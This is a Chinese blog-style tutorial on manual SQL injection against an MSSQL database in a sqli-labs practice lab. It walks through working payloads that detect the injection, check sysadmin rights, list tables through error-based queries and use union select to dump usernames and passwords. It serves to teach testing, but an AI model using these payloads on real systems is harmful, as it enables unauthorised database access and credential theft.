当前位置: 首页 > article >正文

Mssql手工注入

步骤⼀:在第⼀关使⽤单双引号判断是否存在注⼊,根据报错的回显可知数据类型为字符型

http://172.16.1.34/less-1.asp?id=1

步骤⼆:可通过以下Payload来探测当前站点是否是MSSQL数据库,正常执⾏说明后台数据库是MSSQL;也可根据⻚⾯报错信息来判断数据库

'and exists(select * from sysobjects)--+
'and exists(select count(*)from sysobjects)--+

步骤三:也可根据以下sql语句来判断注⼊点权限...(根据⻚⾯显示效果)

判断当前是否为sa
' and exists(select is_srvrolemember(' sysadmin '))--+
' and (select is_srvrolemember(' sysadmin '))>0--+

步骤四:查询数据库信息,user回显的dbo表示是最⾼权限,如果是⽤户的名字表示是普通权限

' union select 1,user,is_srvrolemember('public')--+
-1' union select 1,@@version,is_srvrolemember('public')--+

步骤五:通过以下语句来猜解有哪些表,从⽽获取⽬标站点的表信息

'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f
rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order b
y id desc)=1-- +  //users
第⼆张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users')--+   //emails
第三张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails')--+   //uagents
第四张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails' and name !='uagents')--+   //referers
第五张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails' and name !='uagents' and name !='referer
s')--+     //返回结果为空,说明不知道第五张表

步骤六:通过以下语句爆出表下的所有字段信息

'having 1=1--
'group by id having 1=1--+
'group by id,username having 1=1--+
字段名: id , username , password

步骤七:爆字段值

查询字段数据
1'order by 3--+   //回显正常
1'order by 4--+   //回显错误
回显存在内容的字段
-1'union select 1,2,3 from users--+
查询字段内容
-1' union%20 select 1,username,password from users--+
http://www.lryc.cn/news/2415180.html

相关文章:

  • sda、sdb、sda1、sda2的意思
  • 详细介绍 CVS (附带 其配置与使用方法)
  • JDK的下载安装及配置(包含多个JDK)
  • Solr的源代码解析和开发技巧
  • 口碑超好的五款桌面管理软件|桌面管理软件排行榜
  • CKEditor5导入并解析word功能的集成,实现word转html
  • 进阶注解处理器 processor (三)
  • IP、子网、超网(CIDR)、网段知识讲解
  • ixp协议服务器,ipx协议中的“内部网络号”是什么意思?
  • C语言—strcpy,strncpy函数介绍、以及自己实现字符串的拷贝代码演示
  • 深度剖析 Go 的 nil
  • 什么是哈希算法sha2?和sha1什么区别?SHA2代码签名?sha3又是什么?
  • Linux C语言运行库 glibc
  • YOLOv5输入端(一)—— Mosaic数据增强|CSDN创作打卡
  • AS2安全基础知识
  • JPEG文件格式分析及举例验证
  • 使用CCProxy代理局域网上网
  • GCD详解,多种
  • 缠中说禅:缠非缠、禅非禅,枯木龙吟照大千(整理版)
  • pm2常用命令及pm2自启动
  • rollup - 构建原理及简易实现
  • Java 中正则表达式的详解
  • STM32开发(五)STM32F103 通信 —— CAN通信编程详解
  • mysql instr使用
  • ubuntu新手教程(从安装系统到驱动安装到环境搭建)
  • Kotlin-简约之美-进阶篇(十六):DSL原理解析
  • 一个完整的http协议中都包含什么?
  • SQLServer附加数据库5120错误
  • 快速剖析贪心算法(C语言)
  • MVC介绍